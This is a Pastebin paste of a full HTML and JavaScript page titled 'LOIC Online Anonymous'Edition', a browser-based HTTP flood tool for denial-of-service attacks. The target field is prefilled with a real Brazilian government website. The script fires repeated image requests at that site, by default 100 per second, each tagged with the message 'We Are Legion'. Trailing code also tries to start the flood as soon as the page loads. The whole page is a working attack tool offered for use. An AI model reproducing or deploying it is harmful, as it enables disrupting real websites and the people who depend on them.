Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>LOIC'Online v0.1</title>
- <!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> -->
- </head>
- <center><h1>LOIC Online Anonymous'Edition</h1></center>
- <body style="background-color:black; color:#FFFFFF;">
- <div style="position:absolute; width:100%; height:100%;">
- <div style="width:490px; height:326px; position:absolute;">
- <img alt="LOIC"src="http://www.calgarc.com/images/loop.png" />
- </div>
- <div style="width:240px; height:100px; position:absolute;left:500px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Step 1. Select your target:</legend>
- <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.granderecife.pe.gov.br/principal.asp" /></label> <!-- disabled="true" -->
- <small>Ex : http://fbi.gov</small>
- </fieldset>
- </div>
- <div style="width:240px; height:100px; position:absolute; left:780px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Step 2. Ready?</legend>
- <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
- </fieldset>
- </div>
- <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Optional. Options</legend>
- <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
- <label>Append message : <br /><input style="width:100%;" id="message" value="We Are Legion" /></label>
- </fieldset>
- </div>
- <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Attack status:</legend>
- <dl>
- <dt>Requested:</dt>
- <dd id="requestedCtr">0</dd>
- <dt style="opacity: 0.5; color: green;">Request OK :</dt>
- <dd style="opacity: 0.5" id="succeededCtr">0</dd>
- <dt style="opacity: 0.5; color: red;">Request failed :</dt>
- <dd style="opacity: 0.5" id="failedCtr">0</dd>
- </dl>
- </fieldset>
- </div>
- </div>
- <script>
- (function () {
- var fireInterval;
- var isFiring = false;
- var requestedCtrNode = document.getElementById("requestedCtr"),
- succeededCtrNode = document.getElementById("succeededCtr"),
- failedCtrNode = document.getElementById("failedCtr"),
- targetURLNode = document.getElementById("targetURL"),
- fireButton = document.getElementById("fireButton"),
- messageNode = document.getElementById("message"),
- rpsNode = document.getElementById("rps"),
- timeoutNode = document.getElementById("timeout");
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;
- };
- var requestsHT = {}; // requests hash table, may come in handy later
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
- return;
- };
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };
- img.onabort = function () { onFail(rID); };
- img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
- img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
- requestsHT[rID] = img;
- onRequest(rID);
- };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr;
- };
- var onComplete = function (rID) {
- delete requestsHT[rID];
- };
- var onFail = function (rID) {
- // failedCtr++;
- //failedCtrNode.innerHTML = failedCtr;
- succeededCtr++; //Seems like the url will always fail it it isn't an image
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
- };
- var onSuccess = function (rID) {
- succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "START";
- } else {
- isFiring = true;
- this.innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
- }
- };
- })();
- isFiring = true;
- document.getElementById("fireButton").innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
- </script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment